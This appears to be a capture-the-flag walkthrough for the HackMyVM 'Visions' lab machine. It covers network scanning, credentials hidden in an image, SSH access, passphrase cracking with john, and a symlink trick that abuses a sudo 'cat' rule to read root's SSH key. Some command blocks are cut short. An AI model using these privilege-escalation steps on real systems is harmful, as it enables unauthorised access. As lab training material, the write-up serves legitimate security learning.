## 1. Intro

This document will show how to get root on Visions VM from [HackMyVM](#).

## 2. Enumeration

### 2.1. Discovering IP

First we need to know the IP of the VM. We will use netdiscover. In our example, the VM has the IP 192.168.1.19.

```
1 Currently scanning: 192.168.1.0/16 | Screen View: Unique Hosts
2
3 5 Captured ARP Req/Rep packets, from 3 hosts. Total size: 300
4 -----
5 IP                At MAC Address      Count  Len  MAC Vendor / Hostname
6 -----
7 192.168.1.19      08:00:27:81:be:33    2     120 PCS Systemtechnik GmbH
8
```

## 2.2. Nmap

Once we know the IP of the VM, we start with a nmap to see which ports are open.

```
1 sml@cassandra:~$ nmap -A -p- 192.168.1.19
2 Starting Nmap 7.70 ( https://nmap.org ) at 2021-04-19 11:15 CEST

### 2.3. HTTP

If we check the code of the web `http://192.168.1.19/` at the end appears: `img src="white.png"`

So, download the file.

```
1 sml@cassandra:~$ wget http://192.168.1.19/white.png
2
```

The image contains 'hidden' info, we can use some programs to obtain it but we will use Gimp. If we open the file with Gimp and adjust Colors-Curves we will obtain one user and her password.

sophia/seemstobeimpossible

We can use now the credentials that we got to connect to SSH.

### 3. Privilege Escalation

Connect as sophia with the credentials that we have got.

```
1 sml@cassandra:~$ ssh sophia@192.168.1.19
2 sophia@192.168.1.19's password:
3 Linux visions 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
4
5 The programs included with the Debian GNU/Linux system are free software;
6 the exact distribution terms for each program are described in the
7 individual files in /usr/share/doc/*/copyright.
8
9 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10 permitted by applicable law.
11 sophia@visions:~$
12
```

After enumerate the system, we check what sophia can do with sudo, and she can execute cat as root to see the content of one file at isabella home. If we execute the command, we will get one ssh key file.

```
1 sophia@visions:~$ sudo -l
2 Matching Defaults entries for sophia on visions:
3   env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin
   \:/sbin\:/bin
4
5 User sophia may run the following commands on visions:
6   (ALL : ALL) NOPASSWD: /usr/bin/cat /home/isabella/.invisible
7 sophia@visions:~$ sudo cat /home/isabella/.invisible

```

Apparently the ssh key obtained is from isabella. If we try to connect, it asks for a passphrase, so use john to crack the passphrase. The result is: invisible

```
1 sml@cassandra:~/tools/john/run$ python ssh2john.py ~/isa.key > ~/isa.hash
2 sml@cassandra:~/tools/john/run$ ./john ~/isa.hash -wordlist=/home/sml/rockyou.txt
3
```

As we know, sophia can use cat as root to check one file '.invisible' that is owned by isabella, so lets log in as isabella, create a symbolic link to another useful file, and then use sophia to read the file.

```
1 sml@cassandra:~$ ssh -i isa.key isabella@192.168.1.19
2 Enter passphrase for key 'isa.key':

Now .invisible is pointing to the ssh key from root, so lets run as sophia sudo cat... and we will get the ssh key to log as root.

```

## 4. See ya!

**HackMyVM** is a platform where we create and share vulnerable VMs to hack and enjoy hacking. We think that its important to share knowledge, and also we believe that everyone should have access to information/knowledge for free. If you loved this text, please think about share/contribute to a free project or your own project on Internet! :D

Ideas are everywhere, but knowledge is rare.
